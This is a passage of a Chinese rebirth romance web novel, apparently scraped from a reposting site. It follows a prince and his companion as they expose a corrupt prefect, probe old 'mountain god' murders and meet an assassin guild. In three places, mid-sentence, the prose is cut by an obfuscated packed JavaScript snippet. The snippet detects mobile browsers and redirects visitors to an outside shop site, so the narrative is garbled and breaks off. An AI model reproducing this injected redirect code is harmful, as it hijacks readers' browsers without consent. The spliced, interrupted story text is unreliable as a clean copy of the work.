犹豫再三,宓安想着前世他们就是因为很多事不愿明说才惹出这么多隔阂,于是开口道:“景长昱,滚回去睡觉吧。” 宓安很少叫他的字,景煦听了一愣,旋即笑了起来。 他的名和字都是母后取的,在他还未出生时就定好了。 “煦”意为温暖,“昱”意为明亮,先皇后深知宫墙内的阴暗,她希望自己的儿子一生温暖明亮,充满希望。他的封号“昭”,也是一样的意思。 而“朝”字何意,不必多言。 “怎么办,青疏。”景煦收起令牌,上榻坐在了宓安身边,“我今晚不想走了。” 宓安把被子蒙过头,他就知道这个满脑子情情爱爱的男人要是知道了这件事一定会感动的要死要活,又要缠着他动手动脚满嘴胡话了。 “方才是谁说的今晚不回来了?赶紧滚。” 景煦挥手熄了蜡烛,连人带被子抱了满怀,笑道:“谁说的?我可没听到。阿宓,我的那块令牌呢?” “什么你的,那是我的。” “我不管,快给我。” 宓安露出半张脸,说道:“在我床头的暗格里,没带出来。” “那你本来打算什么时候给我?”景煦笑得压都压不住,总觉得每天都更喜欢宓安一点。 宓安哼了两声,又不好说给你干什么上辈子你根本就不需要我,只好说道:“本来打算看你表现。” 景煦抱他抱得更紧了,笑道:“我表现还不够好?阿宓真厉害,朝青这么大的势力阿宓一个人就能撑起来,太厉害了。” “你方才还说朝青是破名字。” “阿宓听错了。”景煦把被子拉下来,恨不得现在就将人抱住好好亲一通,“这个名字太好了,只有阿宓这么厉害这么聪明的人能想出这么好的名字。” 宓安忍不住笑了出来:“花言巧语,当年也是有我师父帮忙,朝青才能顺利发展起来。” 宓朗回常年征战在外,师父几乎成了宓安的另一个父亲,只是老人去的早,后来宓安还是孤身一人将朝青撑了起来。 景煦也钻进了被子,靠在宓安颈窝,深深吸了口气,宓安推开他,凶道:“不要趁机耍流氓!” 景煦继续把人抱紧,铁了心要耍流氓,两人闹了一会儿,景煦突然又问:“真的不认识萧起?” 宓安好笑:“你到底在哪听过这个名字?” “你的梦话。” 宓安断然不信:“胡说八道。” 景煦见他真的不知,也不再问,窝在宓安怀里缓缓睡去了。宓安轻轻撩起景煦额前的碎发,心道是不是该找个机会坦白自己也重生了呢? 夜已深,宓安沉睡间再次梦到了前世。 “萧起”这个名字,景煦似乎前世也提起过,只是他当真从未听闻,后来便不了了之了。 景煦生在长安,长在长安,中原人生来豪气。宓安是苏州人,后来跟到长安任职的父亲长居此处,骨子里还是一派江南温润。 前生景煦登基以后,总爱找由头同宓安喝酒,就爱看他醉了以后红着脸的样子。再哄上几句,又能将美人抱入怀,任他摆布。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648312|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某年夏日,月明星稀。 景煦心情大好地倒着酒,偷看晕乎乎的宓安,等着人一头栽进自己怀里。 宓安抱着酒杯昏昏欲睡,嘴里咕哝着什么,景煦好奇,凑近了听,只听到几句“消气、对付”。 景煦反应了一会儿,又觉得宓安像是在说“秀气”,又像“萧起”。 景煦把宓安抱进怀里,招手叫来一个暗卫,让他去查宓安认不认识一个叫“萧起”的人。 “景煦……”宓安迷糊着,紧紧抓着景煦的衣领,不停说着“萧起”。 景煦皱着眉把人禁锢住,心想等他查出这个萧起是谁,一定暗中做掉他。 宓安不知这人心里已经转了好几个弯,手下力道丝毫不松,把景煦华贵的衣裳抓出许多褶,一个劲念着“萧起”。 “景煦、景煦……萧起……” 宓安猛的惊醒,窗外天光破晓,景煦还窝在他怀里睡得香甜。 宓安揉了揉眼睛,心道原来“萧起”这个孽是前世种下的,但要他解释萧起是什么意思,实在是羞于启齿,于是宓安决定还是先不坦白重生的事了,免得景煦直接追问。 希望景煦永远听不懂姑苏方言。宓安心里如是说道。 昨晚的账本还没看完,不过已经没有继续看的必要了,这假账做的还不如前世宓安帮景煦做来糊弄先帝的那些严谨。 景煦醒来时,宓安正在泡茶,茶香混着花香煞是好闻。 看着宓安的手行云流水般在青玉茶具间游走,景煦爬起来巴巴问道:“是什么茶?” 宓安儿时就总跟着师父四处游历,看山看水。后来老人去世,留下了一本茶方。前世景煦每天都能喝到不同的茶,或泡或煮,皆出自宓安之手。后来二人关系尴尬,这茶景煦也是许多年不曾尝过了。 “荷露栀子。”宓安倒了一杯,“尝尝。” 景煦慢慢品着,这茶是栀子与龙井一起煮的,入口温润,栀子的花香丝毫没被龙井的茶香盖过去,反而相得益彰。 “阿宓的茶都好喝。”景煦真诚夸道,“荷露哪里来的?” “今早让小九去采的。” “他们几个倒是轻松,跟着你只用干这些清闲的活儿。” 宓安笑了一下,自己也倒了杯茶,说道:“非要跟着你天天打打杀杀才好?先吃饭吧,该去见见那位知府了。” “昨日他就派人来请过了。”景煦还在喝茶,丝毫不急,“吃过午饭再去吧,让他再多急会儿。” 宓安笑他像小孩子。他们要来的消息被按下了,昨日一进城景煦就让人守住了城门,不准任何人进出。知府想必正在发愁贪来的这些银子往哪里藏呢。 知府果然急得像热锅上的蚂蚁,还不到巳时已经派人来请了三趟,景煦不紧不慢地喝着茶,敷衍道:“少师体弱,不吃饭怎么行?况且晌午太阳这么大,让……你们知府叫什么来着?” 知府派来的人大热天的冷汗频频,拱手回道:“回殿下,我家大人名赵洪。” 景煦点点头,接上刚才的话:“让赵大人别急。” 那家仆也不敢再多话,只好又原路返回了。 宓安看了他一眼,说道:“还不到晌午,你已经喝了一壶了。” 景煦一愣,笑着摇摇头,打哑迷似的说道:“阿宓不明白,这么多年,我再也没喝过这样好喝的茶。” 宓安自然知道他是什么意思,不过现下他不打算坦白重生的事,装傻道:“喜欢喝这个明日还给你煮就是了。” 景煦道:“阿宓煮的我都喜欢,明日换个茶方也好。” “说起来,那知府姓赵。”宓安问道,“不会与刑部尚书有亲戚吧?” 影十二的声音不知从何哪个犄角旮旯传来:“回公子。正是刑部尚书赵盼山的侄子。” 8. 山神 “这不是巧了吗。”宓安感叹道。印象里上辈子黄河水患这事是景烈来的,那废物听信赵洪谗言,收了他的银子就将灾民全赶出城外自生自灭。后来灾民暴乱,先帝再派景煦来也只是亡羊补牢,那时景煦怕伤着百姓不敢动武,还被灾民砍伤了手臂。 宓安看向身边的人,见他竟然还在喝茶,不由笑了出来。 景煦这么聪明,上一世如此棘手的事他都能处理得井井有条,更何况现在还有过当年的经验。 两人用了午膳才不紧不慢地上了马车,慢慢悠悠地往赵洪的府衙去了。 赵洪顶着大太阳在门口等着,热的浑身是汗,旁边的小妾一边给他擦汗一边犹豫道:“老爷,您要不先去阴凉地坐会儿?让奴才去街口盯着,看见人立刻回来禀报。” 赵洪摆摆手:“我可坐不住,这昭王可不像大皇子那么好糊弄。” 小妾问道:“听说这次宓少师也来了,这年纪轻轻的怎么就能当上少师呢?” 赵洪盯着街口,说道:“这宓少师是宓大将军独子,大将军劳苦功高,那年平定了西南,皇上为表圣恩就提了他儿子做太子少师。说起来也稀奇,太子还没封呢,先提了少师。我猜皇上说不定有点想看宓大将军支持哪位皇子的意思……唉说这个干什么,莫打听皇室。” 赵洪等了半个时辰,终于看到了景煦的马车,赶紧迎了上来,拱手道:“下官参见殿下!” 景煦下了马车,习惯性回身抱宓安,后者瞪了他一眼,他只好收回一只手,扶着宓安下了马车。 “这位就是宓少师吧!”赵洪礼数周全,“下官见过少师!” 宓安微微颔首,道:“赵大人客气了。” “殿下快里面请。” 赵洪引着二人进了府衙:“下官听说殿下要来,真是高兴坏了。殿下您不知道,近日灾民闹事,愁得下官是吃不下睡不着!您说朝廷给他们那么多银子,又帮着他们盖新房,怎么还是日日闹事!真是一群刁民!” 宓安与景煦交换眼神,宓安笑道:“赵大人消消气。殿下与我昨日到灾区地看了看,灾民仍然居无定所,当地县令说并未收到朝廷的赈灾银呀。” 赵洪拍案而起:“一派胡言!赈灾银半月前就到了下官这里!下官立刻签了验收令,银子连衙门的门都没进就送去灾地了,下官是生怕耽误了,殿下明鉴呐!” 景煦挑了下眉,有些想笑,说了个毫不相关的话题:“赵大人屋里挺凉快。” 赵洪一愣,附和道:“是……是挺凉快。” “本王来之前,屋里放了不少冰吧。”景煦看了他一眼,“赵大人紧张什么,本王随便问问。” 赵洪不知如何回答,只好装聋作哑,一会儿问景煦喝不喝茶,一会儿问宓安吃不吃冰粥。宓安都有些奇怪了,赵洪明知他贪污这事已经瞒不住了,怎么还有心情扯东扯西。 正在这时,有下人来报,宜州巡抚求见。 宓安了然,原来是拖着等外援呢。 景煦笑道:“传。” 那边未见其人先闻其声:“臣宜州巡抚丘啸参见殿下!” 这丘啸是景烈的老丈人之一,仗着自己是“皇亲国戚”没少欺压百姓,若是前世,景煦可能还会稍微顾忌景烈,但现在,他连正坐在龙椅上的那位都懒得敷衍,更别提一个八竿子打不着的皇亲。 “丘大人。”景煦喝了口茶,觉得难喝便推到了一边,“有事?” 丘啸连忙道:“无事,无事。就是许久不见殿下了,特来问安。小女与大皇子成亲时臣与殿下见过一面,殿下真是丰神俊朗、气质不凡!” “问过安了就退下吧,本王与赵大人还有要事。” “殿下莫急!”丘啸一挥手,两个家仆抬着箱子走了过来。 箱子打开,满满当当的金子几乎晃的人睁不开眼。 宓安哑然,心道这是图穷匕见了吗。 “殿下,论起来臣是殿下嫂嫂的父亲,也算是亲戚了。”丘啸小心翼翼道,“外面还有九箱,这点薄礼就当臣替未来昭王妃添的嫁妆,还请殿下笑纳。” 景煦也觉得好笑,说道:“你觉得本王缺这仨瓜俩枣?” 满满十箱金子只是“仨瓜俩枣”,也就只有景煦能说出这种话了。 “臣不敢。臣只是替未来王妃添些嫁妆罢了。”丘啸就差明说让景煦对贪污一事睁只眼闭只眼了,但偏偏这位殿下一点人情都不通。 景煦突然问了一个让他摸不着头脑的问题:“丘大人,你觉得宓大将军府缺这点儿金子吗?” 宓安:“……” 丘啸不明所以,瞄了一眼宓安,小心回道:“宓大将军战功赫赫,早就是封无可封的富贵,想必是不缺……” 那边宓安凉凉地看向景煦,用眼神示意他闭嘴。 “殿下,搜到了。”说话间,暗卫来报,搜到赵洪藏起来的赃款了。 景煦起身,拍了拍身上不存在的灰尘,笑道:“本王也不跟你废话了。来人,丘大人为灾民慷慨解囊,金子一起带走。” 丘啸战战兢兢,连忙跪下:“殿下明鉴!赵大人贪污一事臣并不知情!” 景煦懒得理他,要不是留着他还有用,今天就干脆斩了拉倒。 赵洪已经吓得腿软坐在了地上,见暗卫要来拿他,不知哪来的力气站了起来,冲景煦吼道:“殿下的茶里下了毒!若是殿下肯放我一马,稍后解药就送到殿下住处!” 景煦凉凉地看了他一眼,说道:“下回下毒买点贵的。” 宓安没忍住笑了出来:“赵大人这毒确实便宜了些,味道大的一进门就闻到了。” 赵洪早就听闻景煦武功深不可测,特地往屋里放了几个时辰的冰,想以此干扰他的嗅觉,却不知宓安制毒用毒已经炉火纯青,那茶都不用闻,他看一眼就知道有问题了,于是随手洒了解药,偏偏景煦胆大包天,非要尝尝味道。 赵洪再次瘫倒在地,被暗卫拖走了。 景煦看了一眼还跪着的丘啸,冷声道:“以为挖个地窖本王就找不到了吗?地窖里藏一点,卧房里藏一点,连郊外牛棚里都藏了一点。丘大人,前车之鉴摆在这,你好自为之。” “臣、臣一定谨记殿下教诲。” 众人出了府衙,天还大亮着,不过一刻钟就回了住处。张德清得知赵洪已经下了大狱,恨不得直接将景煦认做干爹。 景煦哭笑不得,赶紧把人扶起来:“赵洪这些年贪的银子都在这了,留一多半给你,金子也留一半,其他的上缴国库。” 张德清连连摆手:“殿下来时带的银子就足够了,这些您全带回去吧。” 景煦道:“这些充做衙门公款,往后五年的税收就免了。” 张德清老泪纵横,给景煦磕了好几个头,两个暗卫在他身后愣是没拉住。 回去的路上,宓安还在感慨张大人一把年纪了,力气倒不小。 不到五日的路程,众人又回到了红锦城的客栈。当地县令是个不苟言笑的年轻人,不会像赵洪这种浸淫官场多年的老油子,早早就等在衙门口迎人。 景煦和宓安已经进了衙门,那县令才刚迎出来。 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“第二个是一个爱嚼舌根的寡妇,那年村里有个未出阁的姑娘,卖帕子回来的路上不小心将篮子掉了,有个书生路过,帮她捡了起来。就这么一个帮忙、一个道谢的小事,寡妇看见了,到处与人说那姑娘与书生暗通款曲,久而久之竟传成了姑娘已经怀了书生的孩子。当时书生已经进京赶考,姑娘百口莫辩,最后不堪受辱,竟投井自尽了。书生衣锦还乡时方得知此事,挨家挨户解释这才说清,他有个探花身份,旁人才肯信他。可怜那姑娘二八年华,白白丢了性命。那寡妇的尸体是卖菜的大爷在菜地附近的河边发现的,舌头没了。” “后来此类事情越来越多,大家也逐渐害怕起来。谁敢肯定自己一件错事都没做过?谁又知道那神仙认定的‘十恶不赦’是怎样的标准。久而久之,这村里人就越来越少了,这样的命案也已经十几年没发生过了。” 景煦问道:“当年没人报官?” 孟兆兴摇头说道:“既是恶人,死就死了。像那赌徒,他家里人早就盼着他死呢。” “赌徒的手,寡妇的舌头,是死后才被割掉的吗?”宓安问。 孟兆兴道:“细节之处下官也不清楚,不过听说当年有个老仵作私下去验过尸体,他现在就住在客栈附近。” “孟大人是怀疑当年的‘神仙’又出现了?” “下官只是猜测。殿下与少师不在的这几日,下官查过这两个死者。王二和他的妻子常年以好意收留为由盗取外来男子财物,得手后便下药害人性命。”孟兆兴言语间带着愧疚,“实在惭愧,竟让他们在眼皮底下谋财害命,是下官无能。” 宓安道:“孟大人不必太过自责。被害者的尸体藏在何处了?” 孟兆兴看了看二人,犹豫着该不该说,景煦突然有种不好的预感,正要开口打断,孟兆兴已经说了出来:“埋在了村头的菜地里,就是您与殿下住的那家客栈包下的菜地。” 宓安:“……” 幸好没吃。 景煦:“……” 暗卫应该不会在意这些的吧。 两人各怀心思,一阵无言间下人送了饭菜进来,孟兆兴连忙招待二人用膳,特地解释道:“殿下放心,这菜是衙门后院种的。” 宓安没什么胃口,吃了几口就放下筷子,说要出去走走,孟兆兴提醒道:“前几日死人的消息传了出去,现在人心惶惶,灯市已经不开了。” 宓安叹了口气,说道:“那就明日吧。明日先去看看那位老仵作,把案子解决最要紧,百姓不敢出门怎么行。” 9. 国师 宓安起了大早,独自前去拜访老仵作。仵作家里弥漫着熬煮甘草的苦味,还有一点药材香味。 宓安走路没有声音,站到了熬药的人身后对方也没有察觉,半晌,宓安说道:“杜仲似乎放多了。” 老仵作吓了一跳,眯着眼看清了来人,埋怨道:“你这年轻人,怎么一声不响就进别人家?” “抱歉。”宓安笑道,“见您在煮药,怕您分神。” 老仵作看了他一眼,继续煽着火,问道:“你方才说什么?杜仲放多了?” 宓安说道:“是。” “哼。”老仵作笑了一声,“你怎知我煮的是什么药?” 宓安道:“这锅药里有甘草、牛膝、白术、杜仲、附子、官桂、当归、川姜,治风湿的。只是少了人参。” 老仵作细细将他打量了一番,说道:“人参那么金贵,多放点杜仲将就将就吧。” 宓安无奈道:“不如换成黄芪吧。” “你这年轻人,年纪不大,懂得倒多。”老仵作奇怪地看向他,“你是外地人吧,来我这有什么事啊?” 宓安毫不见外地把旁边的马扎搬了过来,坐下说道:“跟您打听打听十几年前的‘山神’吃人案。” 老仵作眼神一变,警惕道:“你是什么人?” 宓安从怀里拿出一块令牌,老仵作仔细看了,拱手道:“原来是昭王殿下。” “殿下有什么想问的尽管问吧,只是已经十多年了,老朽也记不清了。” 宓安问道:“听说您私下去验过尸,验的是哪一个?可有验尸手札?” “验的一个赌徒,一个寡妇,还有一个杀猪匠。当时的县令说无人报官,叫我别多事,我实在好奇才去看了看,哪还敢留下手札。” “死因?” “各不相同。赌徒被人一刀割喉,寡妇被人一剑穿心,杀猪匠是被人用他自己的杀猪刀乱刀砍死的。” “其他伤口呢?” 老仵作慢慢扇着火,浑浊的双眼望着远方,似乎陷入了回忆。半晌,他才开口道:“赌徒的双手被砍了,伤口虽然看着像野兽撕咬的,但我仔细验过,是刀伤。” 他转过头,看着宓安,继续说道:“凶手用一把钝刀,在伤口上磨了很久。” “寡妇的舌头没了,是整齐的刀伤。” “杀猪匠浑身都是刀伤,没验出其他伤口。” 宓安也看着他,笑道:“您知道凶手是谁。” 老仵作一愣,不客气地说道:“年轻人,就算你是王爷,老朽也不必给你面子。我看跟你有缘才说了这么多,你要是胡言乱语就从哪来回哪去。” 宓安没接他的话,又问道:“这次的凶手和当年的是同一个人吗?” 老仵作没说话,宓安觉得好笑,于是换了种问法:“您觉得这次的凶手和当年的是同一个人吗?” 老仵作看了他一眼,没说话,眼神落到了门口。 宓安顺着他的眼神看去,正看到来寻他的景煦。 “你怎么来了?”宓安指了指老仵作院子里的药材架子,“那边还有个马扎。” 见景煦也毫不见外地搬过马扎坐了下来,老仵作气不打一处来:“你们还有没有其他事?老朽得切药了。” 景煦没由来地,突然说道:“孟兆兴是个好官。” 老仵作扇火的手一顿:“孟大人确实是好官。” “在我朝律法中,亲属犯法,不影响做官。”景煦笑了笑,“您不必遮掩了。” 老仵作听了这话,当即明白了景煦已经什么都知道了,他缓缓叹了一口气,说道:“律法允许,但人言可畏。” 宓安听明白了两人谜语般的对话,问景煦:“你怎么知道的?” 景煦“哼”了一声:“雕虫小技,暗卫一查就知道了。倒是你,天还没亮自己就偷偷跑出来,你瞒着我干什么?我还能不听你的?” 宓安尴尬地笑了笑,坦诚道:“我这不是怕你要处置孟大人,毕竟杀人的是他父亲。” 景煦满脸不高兴,委屈道:“我在你眼里就是……” “咳!”看着老仵作的眼神越来越不对,宓安赶紧打断了景煦,说道:“今天打扰您了,这个您收着吧。” 宓安拿出一个瓷瓶给老仵作:“一日两粒,半月见效。” 老仵作迟疑着接过:“多谢……小公子。” 听两人的对话,老仵作也明白了后来的这位才是真昭王。 景煦见他犹豫,当即就不高兴了,说道:“阿宓的医术天下第一,太医院的院首都要向他请教,他说半月见效就一定半月见效。” 宓安被他说的脸红,赶紧拉着人走了。 “当年的县令就是孟兆兴的父亲。”回去的路上,景煦把暗卫查到的和宓安细细说了。当年孟寒松任县令,赌鬼打人、寡妇生事都是拿不出证据、找不出证人的,于是他就选择了这样极端的方法,还让人传出了“神仙吃人”的传言。 只是他没想到,即便只杀“恶人”,还是吓得村民们人心惶惶,一个一个逃离了这里,后来孟寒松也郁郁而终。 “看孟兆兴的样子,应该是知道真相的。但他还是有意让我们查一查当年的案子,他觉得这次的凶手是刻意模仿。”景煦说道,“你没告诉他这次的死者是中了蛊?” 宓安摇摇头,说道:“中原从前从未见过蛊毒,我怕传出去让百姓恐慌。” 两人并肩走了一段路,景煦突然想起了什么,说道:“暗卫向村民打听过这段时间往来的外乡人,有人说见过一位容貌惊人的男人。” “容貌惊人?”宓安奇怪道,“有多惊人。” “没有阿宓惊人。” 宓安一时无语,凶道:“说正事呢!” 景煦理直气壮:“那村民原话就是这么说的,‘那天来过一位容貌惊人的公子,看那气质就知道是富贵人家,和前段时间来过的那位白衣公子一样,好看得像姑娘似的’。” 宓安不打算继续这个话题,说道:“这些也不是什么线索,这地方偏僻贫穷,景烈到这里也出众。” 景煦点点头:“说得也是。不过那人有两缕白发。”说着,景煦指了指自己两边鬓角往上一寸的地方,“在这里,一边一道白。” 宓安一顿,看向他,两人异口同声道:“国师。” “你直说有人见过国师不就得了。”宓安想翻他白眼,“弯弯绕绕这么多。” “那阿宓不就不知道村民夸你好看了。” “我不想知道。” 只是两人回忆了一下前世与国师屈指可数的几面,总记得他应当只有一缕白发才对。 国师向来在宫里的占星台研究一些虚无缥缈的东西,什么星象什么国运,一年三百天有二百九十天都在闭关。重生后景煦也想过找国师询问此事,但对方总在闭关,便也算了。 没想到他竟来过这穷乡僻壤的地方。 宓安沉思片刻,犹豫道:“既然国师来过,想必也不用让他看尸体了。” 前世时国师也像这样经常闭关,但景煦登基后,他出来的次数就变多了,而且总是对宓安说一些莫名其妙的话。 比如“陛下心性残忍,宓相请多安抚”;比如“莫要冲动,也不必太痴情”;比如“黎民百姓需要你,万不可意气用事”。 那时宓安不以为意,只以为国师是个神棍。他说景煦残忍无非是因为他下令将叛将五马分尸,可那人通敌叛国致将士牺牲、百姓枉死,若不严惩,何以慰藉三千英魂,何以安抚大渊百姓。况且,身为帝王,仁慈并不是好事。 现在想来,国师让他不要冲动,或许是因为预见了什么……可他还是冲动了,一把火烧光了景煦的寝殿,也烧死了自己。 今日之事,国师又在其中扮演了什么角色呢? 景煦见宓安出神,问道:“在想什么?” 宓安没回答,拉起景煦的手,好好把了把脉。半晌,他叹了口气:“还是看不出异常。” “阿宓别担心了,我近日没有不舒服。”景煦顺手握住了宓安的手,光明正大地占起了便宜。 宓安还在努力回忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宓安道:“孟大人不必送了。” “殿下、少师慢走。” 出了城全是山路,很是颠簸,宓安靠在马车上被晃的头疼,干脆脱鞋躺在了榻上。景煦的马车比一般的马车大,不仅放了一张软榻,还放着一张小桌,供他喝茶用。 “太奢靡了。”宓安感叹道。前世景煦登基后就不常出宫了,若是还像现在这样三天两头往外跑,他的马车一定会更大更奢侈。 景煦就坐在他旁边,听到宓安这么说,还真反思了一下,没想到宓安又说道:“跟你爹说说,我也想当王爷。” “当王爷怕是不行了。”景煦侧身挡住往榻下滑的宓安,“不然我和他说说,你来当昭王妃?” 宓安踢他一下:“少胡言乱语。” 景煦被踢了,不仅不恼还莫名开心,想起前世那个张口“陛下”闭口“臣不敢”的小丞相,他真是太想念现在这个胆大妄为既敢扇他巴掌又敢抬脚就踢的宓安了。 “阿宓。” 宓安正闭目养神,听到景煦的声音以为他又要作什么妖,没好气道:“又干什么。” 景煦看着他,无声叹了口气,缓缓道:“就算我登基,阿宓也不要和我生疏好不好?” 宓安呼吸一滞,睁开了眼睛,猝不及防地望进了景煦满是悲伤的眼中。 “君臣是对别人的,对你只是景煦。”景煦不知想到了什么,声音都有些发颤,“就算是皇帝,你也是第一位的。” 宓安垂眸避开了他的眼神,说道:“胡说什么呢,百姓社稷才是第一位的。” 景煦笑了下:“阿宓就当我是昏君吧。” 宓安又踢了他一下:“说这些做什么,谁要和你生疏。等你做了皇帝我日日去国库搬东西,搬空为止。” “全给你。”景煦被他逗笑,“还望阿宓给我留点月例银子。” 宓安知道他在担心什么,正犹豫着要不要坦白自己也重生了,马车却猛地停了下来。宓安坐起身,景煦立刻挡在了他身前。 似乎有人围了过来,宓安耳尖一动,对景煦道:“是朝青的人。” 10. 父亲 朝青的杀手随身带着特制的银铃,铃声微不可查,几乎散在风里,除了宓安的特殊法门,只有内力深厚的人才能从风中辨别出银铃的声音。不同的铃声组成不同的暗号,朝青的人以此确定同伴位置,也可以用来传递信息。 景煦听不懂暗号,听宓安说是朝青的人也放下心来,好奇道:“阿宓都没看一眼,怎么知道是朝青的?” “回去和你细说。”宓安又躺了下来,使唤景煦,“令牌还在你那吧?你出去看看。” 景煦这才想起来,本来是打算去朝青询问赵盼山的事来着,谁知这两日事多,他就给忘了。 “阿宓在朝青叫什么名字?不会让他们叫你大名吧?”景煦的醋意总是莫名其妙,宓安无奈,说道:“叫青安,不过没人叫我名字。赶紧出去。” 外面的人已经来了有一会了,见那车里的人毫无动静,领头的人高声道:“可是昭王殿下?” 景煦下了马车,打量起来人。 一共只来了十个人,都穿着一身白衣,云青色罩甲,细看来袖口和领口绣了花样,有些是绿色的竹叶纹,有些是粉色的莲花纹。 “你们这衣服不错。”景煦突然说道,“袖口的花样是青安画的?” 领头人一愣,防备道:“阁下可是昭王殿下?” 景煦点点头:“正是本王。” “有人要买殿下的命,得罪了。” 数十个暗卫瞬间出现,挡在了景煦身前。 “十个人就想取本王的命?” 话音刚落,身前的暗卫齐齐倒了下去。 景煦眸光一凛,领头人道:“殿下不必担心,雇主只买殿下一人的命,若杀别人,会亏本。只是殿下竟然不受迷药影响,在下佩服。” 这精打细算的样子,真不愧是宓安带出来的。 天下能撂倒景煦身边暗卫的迷药也少见,想来也是宓安做的。 景煦不知从哪突然涌起一股自豪感。自己看着长大的娇贵小公子突然有一天成为了能独当一面、甚至与他不相上下的人物,他好像比宓朗回还欣慰。只是这长大的过程他竟然没有看见,着实遗憾。 “本王这有样东西,阁下掌掌眼?”景煦笑着从怀里拿出令牌,领头人示意他扔过来,景煦却缓步走近,放到了他手里,“怕你接不住,别摔坏了。” 领头人:“……” 他是朝青排名前十的杀手,在整个江湖都是叫的上名字的,还是第一次在这种小事上被质疑。 几人看了令牌,骤然一惊,毫不犹豫齐齐单膝跪地:“见过主子。” 虽然一直知道朝青有两位主人,但这么多年他们从没有人见过另一位,宓安的令牌也从未给过别人,久而久之朝青的人其实都不记得他们还有另一个主子了。今天在旁人手里看到了令牌,实在让他们心惊。 景煦点点头,拿回令牌坐在了马车上,问道:“雇主是谁?” “赵盼山。” “果然是他。” 宓安在马车里听出了清越的声音,不由开口道:“能请的动你们,只靠朝廷那点俸禄他怕是要攒二十年。” 几人听到这声音心中一惊,清越忙道:“属下不知主子在此,主子恕罪。” “无事。”宓安懒得出马车,连门帘都懒得掀一下,“清越,买昭王命的只有赵盼山一个吗?” 清越答道:“回主子。这几年买昭王命的人数不胜数,只是昭王殿下身边的暗卫密不透风,从未得手。这次赵盼山给够了金子,我们几个才出来。” 马车里伸出一只白皙的手,清越连忙低头不敢多看,景煦却毫不避讳地摸了两下,才接过了宓安手里的瓷瓶。 瓷瓶打开的一瞬间,地上的暗卫就醒了过来,立刻拿起剑继续护在景煦身前。 “剑收了吧,自己人。”景煦道,“你们几个太弱了,这点迷药就倒了,回去加训。” 暗卫齐声道:“是。” 宓安却不干了,凶道:“什么叫‘这点迷药’!这点迷药牛都能放倒了!” 景煦立刻认错:“是是是,是我说错了。阿……安安的迷药天下第一。” 清越低着头听得心惊胆战,朝青的主人向来清冷无情,讲话语气没有起伏,三言两语间便定人生死,他何时听过主子这般像撒娇一样的语气。 “清城。”宓安叫道。 清越身后的人拱手道:“属下在。” “我不是说过,这种生意确认是恶人才能接吗?”方才那个凶景煦的语气好像是众人的错觉,宓安的声音还是他们熟悉的那样凉意沁人。 “属下该死。” “确实该死。” 清越下意识想要求情,却见景煦将马车帘掀起一角,笑着不知说了句什么,他们那无情的主子好像给了昭王殿下一巴掌,接着,宓安的声音又传了出来:“以后杀人的生意先呈给昭王殿下,退下吧。” 宓安的决定没人可以改变,众人不明所以,却也只能听从:“属下告退。” “等等。”景煦叫住人,“十二,给他们留几个传信哨子。” 影十二闻声走了出来,将暗卫间传信用的哨子给了清越几个,说清了用法。 清越拿着哨子,一时有种自己被朝廷收编了的错觉。 朝青的人走后,景煦确定四处无人,迫不及待进了马车,目光灼灼地盯上了宓安。 宓安被他看的不自在:“看我做什么?” “阿宓。”景煦靠近一点,双手撑在塌上,“原来阿宓在外面是这样的。” 宓安往后缩了缩,靠在了马车上,目光闪躲:“哪样了?你别靠这么近……” “阿宓同旁人说话好冷,可你平时不是这样的。”景煦笑着,恨不得现在就把人按住亲两口,“阿宓和我说话时,是有温度的。” 宓安莫名其妙:“和不熟的人讲话就是不熟的语气,有什么稀奇的?” 景煦兀自开心,笑着靠在宓安身上就不动了,后者推了推没推开,也就由他去了。 只是宓安还是觉得莫名其妙,究竟是在高兴什么啊? 回去的路上,宓安细细说了朝青的构成,景煦听得认真,越听越觉得这个江湖组织的力量并不输他的暗卫。 想起前世宓安一声不吭放弃了朝青,景煦愧疚更深,悄悄抱紧了他。 宓安看了一眼靠在自己身上占便宜的人,无奈道:“以后朝青那边你让人看着吧。” 景煦身子一僵,摇头道:“不必。杀人的生意你本就不是来者不拒,今日手下人出了问题我才想以后帮你筛选着。其他的事我不插手。” 宓安好笑道:“跟我这么客气做什么?再说,当年创立朝青本就是为了你。” “什么意思?” 宓安道:“为了帮你夺权呗。不过如今看来你并不需要。” “谁说的!”景煦撑起身子,眼神几乎要烫到宓安了,“我当然需要,阿宓这么厉害,我有阿宓一定事半功倍。” “没看出来。”宓安瞥了他一眼,“你前段时间还说‘左右景烈是个废物,这皇位舍我其谁’。” 景煦摇摇头:“他的确废物,朝青对付他岂不是大材小用。我不是哄你,阿宓你真的帮了我大忙。” 宓安被他夸的心情大好,老神在在靠在软榻上:“下面铺子每个月的收益记得给我。” 景煦笑道:“遵命。” 回京还有几日路要走,暗卫驱车听着马车内两人说说笑笑,一时也颇为感慨。这么多年,也就只有宓安一个人能让景煦全心信任,毫不设防。只是宓公子好像对他家主子并没有那方面的意思,真让人操心。 五日后,马车一进京城,宓朗回的近卫就迎了上来,说是三天前就等在此处了,宓将军吩咐,见到宓安立刻让人回家。 宓安以为出了什么事,顾不上进宫向皇上复命,马不停蹄地回了将军府。 “爹。”宓安回家见宓朗回拎着棍子,脸色铁青,小心翼翼地叫了一声。 景煦默不作声地往宓安身前挡了挡,前世宓朗回走的早,景煦对他已经不算熟悉了,但宓安小时候挨过的打他可都记着呢。 直到今天景煦都想不通, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 